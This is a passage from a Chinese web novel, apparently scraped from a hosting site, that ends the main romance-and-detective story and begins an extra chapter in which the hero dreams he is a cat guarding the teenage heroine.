果不其然,他的目光掠过坐在祝好床头的女孩,眼里的温度骤降,声音也变得冷硬起来:“谁让你进来的,出去!”
女孩愣了一下:“我是代表直播间的家人们来探望祝好的……”
程述打断她:“我让你出去,听到没。”
女孩刚对上他的目光就不自觉打了个寒颤,但嘴上半点不输:“你谁啊?祝好都没说让我走,你凭什么赶我?”
程述沉着脸把手里的袋子和保温壶放在床头,周身散发出瘆人的压迫感,祝好赶紧给他递了个眼神,示意他不准发火,然后对女孩说:“不好意思,我要休息了,麻烦你先出去吧。”
程述走到门前把门拉开,冷冷地对着女孩抬了抬下颌,一脸的“再不走你自己看着办”。
女孩虽然心有不甘,但毕竟偷偷溜进病房还是有些心虚,拿着自拍杆忿忿不平地离开了,声音透过门板传回病房里:“家人们,祝好的病房里有个男的又凶又没有礼貌,把我给赶出来了。算了,先让祝好休息吧……感谢宝宝的支持,爱你哟~”
随着声响逐渐远去,祝好憋不住笑了起来。
程述把袋子里的草莓倒进碗里,皱了皱眉:“笑什么?”
“没什么,只是想起来你以前也是用这样的语气跟我说话的。”
程述不满地啧了一声:“差不多得了,这件事还要拿出来说多少回?就差把我钉在耻辱柱上了。”
祝好撇了撇嘴,刚想从碗里捻起一颗草莓,碗却被他一把夺走:“还没洗呢。保温壶里有鱼汤,你先把汤喝了,我去给你洗。”
说着端起那碗草莓进了洗手间。
他肩膀上的伤口恢复速度很快,除了动作幅度不能太大,已经没什么大碍了,于是换成了他来照顾祝好。
祝好的后脑勺被唐宋拍了一板砖,救护车赶到时,伤口渗出的血把她的衣领都染红了,当时医生一脸凝重地告诉她为了方便处理伤口,可能需要将她半个脑袋的头发剃掉。
这对祝好来说简直是晴天霹雳,差点两眼一黑晕过去——半个脑袋的头发,得蓄多久才能长回原来的样子啊?
虽然程述当着她的面严肃地对天发誓,不论她变成什么样子自己都不会嘲笑她,但祝好显然不相信他的说辞。
好在经过仔细检查,医生发现她的伤口不算太深,最终大发慈悲没把她的头发剃掉。
除了后脑勺的伤之外,唐宋开车撞开集装箱的门时,飞溅的金属碎片也把她的小腿划出了一道深长的血口子,由于迎面骨的位置皮下组织比较薄,差一点点就伤到了骨头,所以医生还是建议她留在医院观察几天。
祝好端着汤碗叹了口气,终于能理解程述前些日子的感受了——住院的生活实在太无聊,感觉每一分每一秒都被拉得老长。虽然住的是单人间,但每天晚上关灯的时间都是固定的,清晨六点钟护士准时推着小车进来给她量体温、测血压,在这里,睡懒觉变成了一件无比奢侈的事情。
她转头问程述:“我什么时候能出院?”
程述收走她手里的汤碗,把一颗草莓塞进她嘴里:“你怎么才住了几天就想出院?”
祝好没料到他会用自己说过的话来调侃她,嚼着草莓不清不楚地嘀咕了一句。
虽然没听清她说什么,但程述直觉一定不是夸他的话,笑着轻轻弹了下她的额头:“行了,医生说最迟后天就能出院了。”
祝好一喜:“真的?”
程述点点头:“嗯,不过你得老老实实在家静养一段时间,把腿和脑袋养好了才能出门。”
刚穿进游戏时受伤的是脑袋和腿,游戏结束时受伤的也是脑袋和腿,还真是首尾呼应了。
说到游戏……其实她已经很久没把这儿当成游戏世界了,有太多的人和事物牵绊住她,让她不舍得离开。
至于电脑里的小黄漫……管他呢,如果在现实中的身份都被抹除了,谁还在乎这个?
许久未出现的系统似乎察觉了她的心思,突然开口问道:“宿主,您已经决定要留在这里了吗?”
祝好想了想,没有马上回答。她看向正帮她收拾衣服的程述,突然来了兴致,想要逗逗他。
她清了清嗓:“程述,我所有的剧情任务都完成了,我的外挂说我可以回到现实世界了。”
程述的动作顿了一下,若无其事地问:“那你要回去吗?”
祝好不答反问:“你希望我回去吗?”
程述:……
他一言不发地低头把祝好的衣服一件件折好,摞在一起,
才说:“别问了,你知道我的答案。”
说完又敛起脸上一闪而过的落寞,勉强笑了一下:“但我希望你遵从自己的内心,不要因为我而为难。”
“真的吗?”
他郑重地点点头:“真的。”
祝好难得看见他那么认真的表情,憋了半天还是忍不住大笑起来。
看她坐在病床上笑得前俯后仰,程述后知后觉地反应过来,眯眼看着她:“祝好,你是不是早就已经作出决定了?”
等到终于笑够了,祝好才擦着眼角的泪水点了点头:“嗯,我决定要留下来了。”
程述表情微变:“那你刚才是故意捉弄我的?”
祝好学他的样子耸了耸肩:“谁让你平时也总捉弄我。”
本以为程述还会跟她拌几句嘴,可他却只是在病床边坐下,不错眼地看着祝好,认真地、一字一顿地问:“你真的要留下来?”
“嗯,真的。”祝好想了想,又说:“不过你别自作多情,我不单单是为了你,也是为了这里的所有人,还有白眼狼。”
程述抬起手,用指尖轻轻将她垂落在额前的一缕头发捋到耳后:“既然选择留下来,那以后都不许走了。”
病房里很安静,窗外树影斑驳,午后晴朗的日光透过玻璃窗流淌进来,渗进他的眼眸里,落在祝好身上的视线也变得炽热起来。
祝好被他看得有些不好意思,微微别开脸,从碗里拿了一颗草莓:“你刚才还说不让我为难。”
“我反悔了,我不想让你走。”程述拉住她捻着草莓的手,放在唇边轻轻吻了一下:“我想让你留下来,留在我身边,永远都不要离开。”
红晕迅速攀上祝好的脸颊和耳朵,生怕他有进一步的动作,她小声提醒,意欲阻止:“程述,这里是医院。”
程述凑近她耳畔,毫无波澜地轻笑:“这里是单人病房,如果你想,我们还可以干点别的。”
“你——”
走廊上传来一阵脚步声,护士叩了叩门:“打扰一下,该换药了。”
程述稍稍拉远了一点距离,看着祝好滚烫的脸颊,唇角露出满意的微笑,应道:“好。”
换好药后,等护士离开,祝好又唤出系统,问道:“系统任务结束之后,我是不是不会再获得积分了?”
系统:“是的,宿主。”
祝好点开控制面板,上面显示她的积分还剩下630点。
她想了想,问系统:“我可以用剩下的这些积分来做一件事吗?”
“您说。”
祝好顿了一下,问道:“能不能帮我把几个可攻略对象的好感度清零?”
所有的剧情任务都已经完成了,系统不会再发布新的任务。这也就意味着她不再是游戏的主角,而将彻底融入这个世界。
再说了,她已经确定了自己的心意,如果还保留着那些好感度,不论是对程述还是对几个可攻略对象来说都不公平。
系统沉默片刻,却给出了一个令她失望的答案:“抱歉,宿主。游戏里所有人物的思维都已经脱离了我们的控制,他们对您好感度的提升都是基于您本身的行动,我无权对他们的想法进行干涉,更不能将已有的好感度清零。”
祝好叹了口气:行吧,看来这件事还够她头疼一阵子的。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
正文完
第215章
出院后的两周时间里,程述几乎包揽了祝好的所有饮食起居,每天换着花样给她做好吃的,就连房东大妈都隔三差五端来炖好的汤。
祝好就这样提前过上了退休生活,每天吃了睡睡了吃,没事就看看电影、撸撸猫,过上了衣来伸手,饭来张口的生活。在程述的精心照料下,不仅伤口恢复得飞快,甚至还长胖了两斤。
她腿上的伤口已经愈合了,却在小腿正面留下了一道蜿蜒凸起的疤痕,十分显眼。
洗完澡后,她坐在沙发上拿起温珣给的那只祛疤膏,刚把盖子拧开,就被程述夺了过去:“我帮你。”
他也在沙发上坐下,把祝好的腿搭在自己腿上,将药膏挤在疤痕上,然后动作轻缓、仔仔细细地抹匀。
药膏冰冰凉凉,他手指的温度却异常灼热。两个人的距离很近,就着这样的姿势,祝好甚至能听到他的心跳和鼻息。
祝好悄悄抬眼看他,客厅里只开了一站落地灯,暖黄色的光线给他的侧脸轮廓镀上一层毛茸茸的金边,看着看着,她竟然有些失神。
如果时间能永远停留在这一刻就好了,她想。
程述似乎有所察觉,掀起眼皮,淡淡地问:“看我干什么?”
祝好猝然移开视线,嘴硬道:“谁看你了,我在思考。”
程述拧紧祛疤膏的盖子,放回桌上,挑眉一笑:“思考什么,是不是在想欠我的尾款什么时候付?”
“尾款……”祝好愣了一下,忽然明白过来他说的什么,但还是故意装傻:“说什么呢,我怎么听不懂?”
程述曲起食指飞快地刮了下她的鼻子:“祝小姐,我做牛做马照顾了你那么多天,你怎么翻脸比翻书还快?”
祝好咯咯笑起来,程述也看着她笑。笑着笑着,屋里忽然安静下来,连挂钟的滴答声都显得有些聒噪,气氛变得有些难以言喻。
程述垂眼看着她,缓慢地抬起手、用手背轻轻碰了碰她的脸颊,像是在征求她的意见。
祝好的心脏怦怦直跳,却没躲开,她也没理由躲开。
得到了默许,程述又靠近了一些。额头相抵时,她能看到近在咫尺那双眼睛里翻涌的情愫,心跳的速度逐渐攀升,与他的交织在一起。
嘴唇即将贴近的一刻,程述却像是想到了什么,突然停了下来:“能不能把你手机给我。”
“怎么了?”祝好不明所以,但还是把手机给了他。
程述没有回答,他接过祝好的手机调成静音,又把自己的手机也调成静音,然后将两部手机都锁进了抽屉里。
这还没完,他想了想,目光在房间里转了一圈,最后落在白眼狼身上。
白眼狼正敞着肚皮躺在书桌上打盹,被程述一把拎起时还睡眼惺忪的,吊在半空中的身子摇摇晃晃,忽然就被扔进了房间里,门也“砰”地被锁上了。
祝好看程述像个侦察兵似的在屋里转悠,有些莫名其妙:“你在干什么?”
程述:“排除一切干扰项。”
祝好:“……”
巡逻完毕,确认不会有任何事物打扰后,他才坐会沙发上,手穿过祝好的发丝扣住她后脑:“这次不论发生什么,我都不会停下了。”
话音一落,他就吻了上来。
*
在家里休养了一个多月,祝好终于有机会出门了。
其实她的伤完全不妨碍她出门,不过这段时间一直在下雨,出行也不太方便。这天雨终于停了,祝好看了眼日期,发现正好是清明节,于是跟程述提出想去墓园看看——上一回程述答应过程霜等一切尘埃落定后会再去看她,现在终于到了兑现承诺的时候。顺便,也可以把这个消息告诉那些永远沉眠的少女们。
半路,祝好让程述把车停在路边,首先去了一趟花店。
花店老板认出了祝好,二话不说就掏出手机询问能不能跟她合影。祝好哭笑不得,直播事件都过去半个多月了,居然还有人记得她。
好在今天出门前稍微收拾了一下,祝好没有拒绝,配合老板在镜头前比了个耶。
在得知她的来意后,老板给她推荐了风信子——现在正是风信子开花的时节,蓝的白的花朵如铃铛般一簇簇悬在青茎上,美极了,而且它的花语也很特别。
祝好点点头,拿出手机付了钱,请老板帮自己把花包起来。
雨后的天空格外澄澈,阳光从云隙件洒落,道路两旁的松柏苍翠挺拔,风里带着青草和泥土的气息,连灰沉沉的墓碑也镀上了一层柔光。
祝好和程述首先来到蒋婷婷的墓前,却发现那里早就摆放了不少鲜花和零食,甚至还有一份报纸,报纸的头条正是指甲油杀手落网的新闻。
墓园的清洁工看到他们,停下手中的扫帚,热情地问道:“你们也是来给她送花的吗?”
“也?”祝好不解:“这些花是谁送的?”
清洁工呵呵笑:“都是一些热心市民,有的是小学生,有的是跟你们一样的年轻人,还有父母带着孩子来的。不仅这个女孩收到了,其他女孩的墓前也都有。”
又感慨道:“真好,事情过去那么多年,有的受害者家属可能都已经离世了,但还是有人记得她们。”
是啊,真好。只要还有人记得她们,她们就不仅仅只是指甲油杀手罪行的注脚。
祝好在墓园里转了几圈,给每一位受害者的墓前都放上了一枝风信子。最后,他们来到程霜的墓碑前。
这里同样也簇拥了不少鲜花,层层叠叠地垒着,花瓣在微风中轻轻摇曳。在其中一束白玫瑰的卡片上,祝好看到了宋凌云的名字。
风轻轻拂过,摇下一簇簇细碎的阳光。她轻轻放下手里的风信子,跟碑石上的少女对视了一眼,给了她一个无声的微笑——风信子的花语是“忘记过去的悲伤,开始崭新的爱”。
把花放好后,她先一步走出墓园,给程述和程霜留下
了独处的时间。
半个小时后,程述从墓园里出来,眼尾依稀有些泛红。祝好装作没看见,抬起手替他掸落肩头的花瓣,笑了笑:“走吧,我们回家。”
*
半年后。
祝好盘腿坐在地板上,翻看着摞在面前一沓厚厚的资料,那些都是侦探事务所最近一段时间接到的委托。
自从直播事件过后,找上门来请他们帮忙的人就陆续多了起来,在筒子楼里接待委托人显然不太合适,他们也为此搬到了一栋二层楼的洋房里,一楼用作接待和工作,二楼是他们的卧室。
其实这栋小洋房也是房东大妈名下的房子,她在老城区住了几十年早就习惯了,也不舍得离开那些认识了几十年的邻居老友,担心搬到新地方之后没人陪她聊天,于是那套房子一直空置着。在得知程述想要找个新的地方住时,便毫不犹豫以一个低于市价近一半的价格把房子租给了他们。
由于还要兼顾警局顾问的工作,所以事务所一个月只接受三到五个委托,并且要按事情的紧急程度来安排时间。
她现在正在做的,就是把这些委托按照轻重缓急的顺序以此分类好。
程述洗完碗,从厨房里出来,在她身边坐下,用湿漉漉的手挠她的侧腰。
祝好拍开他的手:“别闹,忙着呢。”
程述:“这个月还有几天才结束呢,不用那么着急安排,你偶尔也要放松一下。”
祝好没理会他,继续专注手上的工作。
程述哀怨地叹了口气,把白眼狼从地上捞起来,举在半空中:“白眼狼,你看你妈妈每天忙着工作,都没空理我们了。要不我们父子俩去流浪吧,不要打扰你妈妈工作了。”
白眼狼眨巴着眼睛,无辜地喵了一声。
“瞎说什么呢?”祝好被他这幼稚的举动逗得失笑,把几份资料递给他:“你整理这些吧。”
程述把白眼狼放下来:“今晚再整理。”
“为什么不能现在就整理?”
“因为现在有其他事情要做。”
祝好转头问:“什么?”
程述用行动代替了回答,挪到她身后把她搂在怀里,轻轻往她的耳尖上咬了一小口。
“程述!”
程述含糊不清地“嗯”了一声,双臂却没有卸掉任何力气,依旧紧紧箍着她的腰,顺手把那几份资料从她手里抽走,放在一旁。
耳边的呼吸声逐渐加重,密密匝匝的吻一路落下,从耳尖到颈侧,再到锁骨,带起阵阵酥麻感。
他扳过祝好的脸,从身后亲吻着她的嘴唇,唇齿相依的间隙,祝好听到他轻声问:“这些工作我保证今晚一个人做完,你先陪陪我,好吗?”
语气里带着几分恳求的意味。
“……”拒绝的话到了嘴边却说不出来,祝好只能用吻来回应他。
身体突然腾空,程述打横将她抱起回到二楼房间里,把她放在床上,继续着刚才的吻,滚烫的掌心在脊背不断徘徊游走。
房间里的窗帘没有拉开,晦暗不明的光线中,任何细微的声音都变得格外清晰。初秋的天气明明已经有了些许凉意,空气却被熏得微微发烫,混乱不堪的声息中,吻尽数落下。
手机震动的声音突然响起,程述微微皱了皱眉,把手机从口袋里抽出来,看也不看就扔到一旁。
祝好稍稍平复了呼吸,问他:“你不接吗?”
程述没回答,又一次俯身,试图用一个更深的吻来堵住她的话。
“等等,万一有急事呢?”
祝好抵住他的胸口,伸手把被他扔到床角、仍在震动的手机捡回来,来电显示是秦聿风。
“接吧,也许是什么重要的案子。”
程述不情不愿地接过手机,摁下了接听键:“喂?”
秦聿风听出了他声音里的不耐烦:“没睡醒吗,火气怎么那么大?”
“有事快说。”
秦聿风早就习惯了他这副德行:“那我就长话短说了,有一所中学的教学楼要拆了重建,结果在某间教室的墙壁里发现了一具中年男性尸体,温主任推测死亡时间已经超过二十年了,你和祝好过来看看吧。”
程述问:“现在吗?”
“……”电话那头的秦聿风似乎对他的问题十分无语:“等我们把案子破了你再来也行。”
“好,那等你们把案子破了我再过去。”
不等他回应,程述就挂断电话,摁下关机键,急不可耐地俯身要去吻祝好。
“等一下。”祝好抬手抵住的他的脸,突然想到了什么:“刚才我看到一份委托,委托人说她的爸爸是个中学老师,二十三年前突然失踪了,至今下落不明。”
她小心翼翼地问:“要不我们还是去看看,万一这两件事有什么联系呢?”
程述动作一顿,闷闷不乐地起身坐在床边,嘴角绷成一条沉默的直线,把不满和委屈尽数写在脸上——对待其他人他还是和从前一样喜怒不形于色,唯独面对祝好时,他开始学会将所有情绪都表露出来。
但是祝好知道什么样的话对他最受用,她从身后揽住他,替他把衬衫的扣子一颗颗系好,又在他下颌落下一个吻:“听话,我们还要在一起很久呢,不差这一时。”
这句话她已经说过很多很多次,但程述似乎永远都听不腻。
他眼睫微微一颤,偏头看着她,像从前的每一次一样跟她确认:“真的吗?”
祝好也不厌其烦地认真回答:“真的。”
程述微不可察地扯了下嘴角,随即很快又把笑容收起,若无其事地清了清嗓:“好吧,那我们去看看。”-
正文完-魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第216章 番外①
第216章 番外①
睡梦中,程述想要翻个身,一股强烈的失重感却突然袭来,他下意识抬手抓住离自己最近的东西,随后轻盈一跃,稳住了身形。
他低头一看,发现自己站在一堵矮墙的墙头,眼前的手也不是手,而是一对毛茸茸的……爪子?
程述:……
什么乱七八糟的梦。
他闭上眼睛,过了会儿,再睁开时,手还是没有变回原本的样子。
好像不是梦。
程述:……
他从墙头一跃而下,轻盈地落在地上,走了几步来到一家正在营业的便利店门口。
这时正是晚上,厚厚的云层遮蔽了月亮。他站在落地窗前,透过玻璃的反映看到了自己现在的样子——黑亮的皮毛,金色的双眸,矫健的四肢。
他变成了……一只猫?
变成猫他倒是没什么意见,至少自己这个身段看着还挺不错,不像白眼狼那样又胖又迟钝。但是有几个问题让他很苦恼:祝好在哪里?如果她知道自己变成猫会有什么反应?万一自己再也变不回去了,不就给了那几个可攻略对象可趁之机吗?
想到这里,他焦躁不安地在地上转了几圈,不行,得想个办法变回去,不然……
“阳叔,那我就先回去了,明天下课我再过来。”
一个熟悉的声音打断了他的思绪,他循声抬起头,看到一个身影从便利店里走出来——是祝好!
天上淅淅沥沥下起小雨,祝好哼着小曲撑起伞,往巷子里走去,并没有注意到藏匿在角落中的黑猫。
程述在墙根徘徊了一会儿,腾空一跃跳上了矮墙——该说不说,这具身体还挺灵活的。
祝好已经走出了一段距离,他赶紧跟上,边走边居高临下打量着她。
她身穿蓝绿相间的运动校服,背着个红色的书包,扎着马尾辫,两颊还有些婴儿肥,跟睡前还窝在他怀里的祝好相比要稚嫩一些。
这是……高中时候的她吗?
这时候天已经黑透了,看起来应该是晚上八、九点左右,早就过了放学时间,她怎么还在外面晃悠呢?真是一点安全意识都没有。
自从经历了唐宋那件事之后,程述就感觉自己变得有些一惊一乍的,只要祝好离开他的视线超过十分钟,他就会开始感到莫名心慌和不安。只不过平时在祝好面前,他从不轻易把这样的情绪表露出来。
就这么陪着祝好走了一段黑漆漆的路,眼看她马上就要拐出巷子,程述却突然听到淅沥的雨声中夹杂了一丝细微的声响。
猫的听觉比人类要敏锐得多,他警惕地回过头,看到不远处有个鬼鬼祟祟的身影正躲在电线杆后面。
那是个秃顶的中年男人,穿着一件与他气质完全不符的长风衣,两只手掖着风衣的领子,不怀好意的目光紧盯着祝好。
下一秒,他倏地从电线杆后窜出来,朝着祝好的背影叫了声:“小姑娘!”
祝好下意识回头,男人瞬间兴奋得鼻孔张大,唰一下扯开了自己的风衣——风衣之下一片赤条条。
该死的变态!程述从墙头跃下落在男人面前,目露凶光,全身的毛炸起,喉咙里发出警告的呜呜声。
男人被他的出现吓了一跳,但很快又觉得自己有点可笑:不就是一只猫吗?有什么可怕的。
他无视了程述,继续抬眼看向面前的祝好,期望从她脸上看到紧张害怕的神情。这件事他已经不是第一次干了,每次只要有女孩被他吓得惊声尖叫时,他就能感觉到满足的快感在身体里流窜。
可他没想到今天的这个女孩只是面无表情地瞟了他一眼,嘴角还露出轻蔑的笑,这让他一时愣住,陡然间变成了不知所措的那个人,扯着风衣的双手也尴尬地顿在半空。
祝好看他一副愣怔的模样,从地上拾起一块砖头放在手里掂了掂,突然冷冷开口:“你滚不滚?不滚我就报警了。”
男人还没反应过来,余光就掠过一道黑影,紧接着大腿传来一阵尖锐的刺痛。他低下头,发现大腿上多了几道血痕,而刚刚那只黑猫正在墙头上恶狠狠地盯着他,双眼闪着幽幽的光。
男人心底发毛:靠!今天出门是不是没看黄历?怎么诸事不顺!
他裹紧风衣,落荒而逃。
看着男人的背影消失在巷子深处,程述松了口气,一回头,却发现没有了祝好的踪影。
他心一紧,赶紧跑到巷子口,才看到祝好正靠在墙上抚着胸口喘气,浑身微微颤抖。
程述的心脏仿佛被什么狠狠揪了一把,她这时也不过十几岁吧,面对这样的事情感到害怕是正常的,刚才的冷静和游刃有余不过是为了保护自己。
他小心翼翼地靠近祝好,轻轻蹭了蹭她的裤腿。祝好终于察觉到他的存在。她平复了一下呼吸,挠了挠他的下巴,柔声说:“刚才是你帮了我吗?”
他绕着祝好的腿转了一圈,尾巴高高竖起,喉咙里发出咕噜咕噜的声音——白眼狼平时想从他那里讨要罐头时也会这样,这是亲昵和开心的表现。
对变成猫的他来说,祝好就是猫罐头一般的存在,只要稍微靠近一些,就无法控制地感到欣喜。
祝好摸了摸他的脑袋,说道:“好了,我要回家了。今天谢谢你,再见。”
这就再见了?真没良心。
虽然十分不满,但程述看她站起身,还是亦步亦趋跟在她身后。谁知道这里离她家还有多远呢?万一路上再碰到什么坏人怎么办。
祝好走出一段,发现黑猫还寸步不离地跟着自己,无奈地撑着膝盖弯要看他:“你要跟我回家吗?可是我没办法养你。”
程述想说谁要你养了?但话到嘴边,却变成了一声“喵”。
祝好自然不明白他的意思,面露为难地思考片刻,说道:“好吧,外面还下着雨呢,你跟我回家住一个晚上吧。”
又强调说:“就一个晚上哦,我真的养不了你。”
程述没办法跟她交流,只好又喵了一声。
祝好蹲下身,打开自己的书包:“进来吧,我背你,地上还湿着呢。”
程述估计自己现在的体重不比白眼狼轻多少,让她背着走一路怪累的。他往前小跑了两步又停下来看着祝好,意思是他自己走就行。
祝好应该是明白了,把包背回身上,嘟嘟囔囔说了句什么,程述直觉这家伙说的不是什么好话,不过他大人大量,现在暂时不跟她计较,等变回去了再好好跟她讨要赔偿。
他跟着祝好回到家门口,祝好拿出钥匙拧开门,按下墙上的开关,说了句:“我回来了。”
可屋里空空荡荡,没人回应。
程述突然想起她跟自己说过,她的妈妈早在她小时候就去世了,爸爸也在她上高中时因为见义勇为牺牲。
所以……这些年,她都是这么独自生活的吗?
祝好把书包挂在玄关上,看了看跟在身后的黑猫,自言自语道:“你还没吃饭吧?我找找有什么可以给你吃的。”
她走进厨房里捣腾了半天,把一个盘子放在程述面前。
盘子里放着一根切成小段的火腿肠和一个蛋黄,程述迟疑了片刻,不知要如何下口——虽然变成了一只猫,但他本质上还是个人类,学着白眼狼的姿势吃饭实在是有些不自在。
祝好看他不为所动,还以为他是不喜欢,苦恼道:“我家没有别的了,要不我出去给你买点猫粮吧?”
比起猫粮,显然还是火腿肠和鸡蛋黄比较适合他,为了打消祝好的念头,他也顾不上姿势别扭,赶紧埋头吃了几口。
祝好看他终于开动,露出了满意的笑,说道:“你慢慢吃,我先去洗澡了。”
她抱着浴巾走进卫生间里,不一会儿就传来哗啦啦的水声。
趁着这个空当儿,程述用两只前爪捧起盘子里的食物快速消灭干净,在听到开门声时装模作样地舔了舔爪子,假装自己只是一只正常的小猫咪。
祝好看到空空的盘子,有些惊喜:“哇,你好棒,吃得那么干净!”
程述抬起头想要应下她的夸奖,却发现她只围了一条浴巾,赶紧把脸别开:啧,这家伙都不知道避嫌的吗?就算现在他是只猫,好歹也是只公猫!
祝好当然不知道他的这些小心思,她翻箱倒柜找了一件旧外套铺在床头柜上,当作是程述临时的床。
程述心领神会,轻盈地跃上去。外套软乎乎的,带着她身上的气息,他忍不住用前爪揉面团似的在上面踩奶,眼睛也不自觉眯起来。
现在这副模样实在有些丢人,但猫的行为习性让他无法控制住自己,还好这时的祝好并不认识他,不然一定会被那家伙嘲笑。
祝好看他乖巧地卧着,也靠在床头,随手拿起放在床边的一本侦探小说。
程述出神地看着她的侧脸,思绪有些飘忽,不知不觉回想起初次见到她的那天——当时他正陷在昏天暗地的睡眠中,突然被一阵电话铃声惊醒,是秦聿风。
秦聿风其实算得上是个非常讲义气的朋友,在程霜出事之后的那几年里,要么就是隔三差五就会来家里看他,要么就是打个电话问问他的情况,哪怕很少得到他耐心的回应也不会感到恼火。
那天程述根本不想接电话,因为前一晚喝了太多酒,他的头疼得像是要裂开,但神使鬼差还是接起来了,懒洋洋地喂了一声。
电话那头的秦聿风语气十分严肃,程述还记得他跟自己说,老程,那个人又出现了。
程述的脑袋嗡的一声,几乎在一瞬间清醒,他知道他说的“那个人”是谁——那个人几乎每一天晚上都会出现在他的噩梦中,让他无数次大汗淋漓地惊醒,以至于不得不靠酒精来维持自己的睡眠。
那是他第一次见到祝好,他还记得自己说话语气很冲,跟吃了炸药似的,无礼又让人厌恶,但当时的他根本不在乎这些,更不在乎祝好的想法,一心只想着赶紧抓到那个人,结束这场将自己折磨得身心俱疲的漫长的噩梦。
后来当他发觉自己对这个女孩生出了不一样的感情时,一度感到十分懊悔。这样的初遇着实不是什么美好的回忆,如果时间能倒流,他或许会稍微捯饬一下再出门,或许会表现得更礼貌一些,将语气放缓一些,给她留下一个更好的印象。
祝好似乎察觉到他的目光,放下手里的书,腾出一只手挠了挠他的下巴:“小家伙,你怎么还不睡觉,是不是想跟我一起看书?”
程述心说谁想跟你一起看这种弱智的侦探小说,身体却很诚实地靠到她身旁,她看的是阿加莎的《东方快车谋杀案》,这本书应该被翻看了很多次,书脊已经微微隆起,封面也褪色了。
祝好:“以前我妈妈总是把这本书当作睡前故事读给我听。”
像是在跟他聊天,又像是在喃喃自语。
她合上书,叹了口气:“不过他们都不在了,现在只剩下我一个人。”
程述本就不擅长安慰人,更别说身为一只猫他连话都说不了,只能用脑袋拱了拱祝好的手。
祝好摸了摸他的脑袋,问他:“那你呢?你为什么会流浪?你也没有爸爸妈妈了吗?”
程述轻轻喵了一声。
祝好沉默了许久,不知在想些什么,过了好一会儿才说:“不早了,我们睡吧。”
关掉床头的台灯后,房间暗了下来,祝好缩进被窝里,程述也回到了她给自己搭的小床上。
猫一天至少要睡十几个小时,程述也开始有些
犯困。他把自己蜷缩成一团,刚想要睡一觉,顺便思考要怎么变回人类,就听到一阵隐隐的啜泣声。
他倏地睁开眼睛,看到祝好的被窝一抖一抖的。
她好像在哭。她为什么哭?
程述担忧地踩到她枕头上,用爪子扒拉着她露在被子外面的几缕头发。祝好止住了哭泣,探出半个脑袋,一把将黑猫掳进被窝、抱在怀里。
程述浑身僵硬,虽然他跟祝好是亲密无间的关系,但这个祝好并不是自己认识的祝好。他心里默念:我只是一只猫,我只是一只猫,我只是一只猫……
祝好的脸颊上还挂着泪痕,程述犹豫了一会儿,用舌头轻轻舔了舔她的脸。舌头上的倒刺划过皮肤带起轻微的痒意,她忍不住破涕为笑,吸溜着鼻子,问怀里的黑猫:“你想留下来吗?”
程述愣住了。
她接着说:“我虽然没什么钱,不过便利店的阳叔人很好,我放学后在他店里帮忙能挣到一些生活费,给你买点猫粮应该也是够的。”
“你也没有家人,我们可以一起做个伴,这样你就不用在外面流浪了……”
她刚哭过,鼻音很重,絮絮叨叨地说着话,声音却越来越小。
睡着之前,她说的最后一句话是:“好奇怪,我觉得我好像跟你认识了很久。”
等到她的呼吸逐渐变得均匀,程述才小心翼翼地从被窝里钻出来,站在床边一瞬不瞬地看着面前的女孩。
现在的她一定很孤单吧,他也很想留下来陪她,可是不行。
他要回去,回到原来的生活里。
这个女孩拥有着最柔软的心灵和最坚强的意志,程述知道不管日子有多难熬,她都会笑着面对,并且在不久的将来与他相遇。
……
再次睁开眼时,程述第一时间举起自己的手。呼,还好,是人类的手。
原来刚才的一切真的只是个梦。
不过这个梦实在太真实了,他甚至能记起祝好用衣服给他团成的那个小窝温暖而柔软的触感。
他侧身抱住身旁的祝好,半梦半醒间,祝好含糊地问:“怎么了?”
“没什么,只是做了个梦。”
祝好迷迷糊糊地翻了个身,窝在他怀里,问道:“是噩梦吗?”
程述摇摇头:“我梦到我变成了一只黑猫。”
祝好:“你知道吗?我以前也遇到过一只黑猫。”
程述的心跳不为人知地停了一拍,他低头错愕地看着祝好,却见她双眼紧闭,好像是在说梦话。
她喃喃说:“那只猫好像听得懂我的话,我带它回家,给它吃了火腿肠和鸡蛋,还抱着它一起睡觉。我跟它约定要留下来陪我,可第二天我睡醒后它就不见了,后来我去它出现的地方找了很久他都没有再出现过。他食言了。”
程述微微一怔,脱口而出:“不,他没有食言。”
“嗯?”祝好茫然不解,似乎不明白他为什么会这么说。
“祝好,他没有食言。”他没有解释,只是轻轻在祝好的额头上落下一个吻:“他一直在陪着你呢。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&